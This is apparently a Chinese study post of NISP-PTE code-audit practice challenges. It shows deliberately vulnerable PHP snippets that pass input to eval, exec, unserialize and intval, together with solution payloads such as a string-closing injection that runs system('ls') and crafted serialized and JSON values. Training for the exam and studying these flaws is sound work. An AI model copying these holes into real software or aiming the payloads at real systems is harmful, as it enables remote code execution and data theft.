NISP-PTE基础实操——代码审计

pte代码审计模拟1

源代码如下:

php 复制代码
<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval()

  • strtolower() 是幌子,核心漏洞在于 $a无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()passthru()shell_exec()file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

php 复制代码
<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){
    echo strlen($_GET[1]);
    echo exec($_GET[1]);
}else{
    exit('too more');
}
?>

pte代码审计模拟3

php 复制代码
<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
    echo "$flag";
}
show_source(__FILE__);

/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

php 复制代码
<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
    if (@$a["bar1"]) {
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
    if (is_array(@$a["bar2"])) {
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
        $pos = array_search("cisp-pte", $a["bar3"]);
        $pos === false ? die("nope") : NULL;
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);
?>

/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

pte代码审计模拟6

php 复制代码
阅读源码,获取flag。


$tis = "我们可以让您生活更轻松";

$gp = $_GET['cx'];


if($gp) {

if(preg_match("/[0-9]/", $gp)) {

$tis = "输入的只能是字符";

} else {

if(intval($gp)) {

$flag = @file_get_contents("../../../flag.txt");

if($flag === false) {

$flag = "flag{file_not_found}";

}

$tis = $flag;

} else {

$tis = "只差一步就可以拿到Flag";

}

}

}

?>

pte代码审计模拟7

pte代码审计模拟8

php 复制代码
某些PHP intval函数在处理时会出现些问题!


$gp = isset($_GET['cx']) ? $_GET['cx'] : '';


if ($gp) {

if(intval(" .$gp.")<1001 && intval($gp +1)>10000){

$flag = file_get_contents("../../../flag.txt");

$tis = "验证通过!Flag: " . $flag;

$class = "success";

} else {

$tis = "验证失败,请检查输入参数";

$class = "error";

}

} else {

$tis = "请输入测试参数";

$class = "error";

}

pte代码审计模拟9

一个json对象搞定

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

相关推荐
幻雨様1 小时前
UE5多人MOBA+GAS 45、制作冲刺技能
android·ue5
Jerry说前后端3 小时前
Android 数据可视化开发:从技术选型到性能优化
android·信息可视化·性能优化
Meteors.4 小时前
Android约束布局(ConstraintLayout)常用属性
android
好望角雾眠4 小时前
第一阶段C#基础-10:集合(Arraylist,list,Dictionary等)
笔记·学习·c#
alexhilton4 小时前
玩转Shader之学会如何变形画布
android·kotlin·android jetpack
zskj_zhyl6 小时前
家庭健康能量站:微高压氧舱结合艾灸机器人,智享双重养生SPA
人工智能·科技·安全·机器人
肥仔哥哥19306 小时前
安全设计-防止非法移机
安全·非法移机·自助机的安全设计·设备的安全设计
网安INF6 小时前
【论文阅读】-《HopSkipJumpAttack: A Query-Efficient Decision-Based Attack》
论文阅读·人工智能·深度学习·网络安全·对抗攻击
yatingliu20197 小时前
HiveQL | 个人学习笔记
hive·笔记·sql·学习
郭庆汝7 小时前
CMake概述用法详细笔记
笔记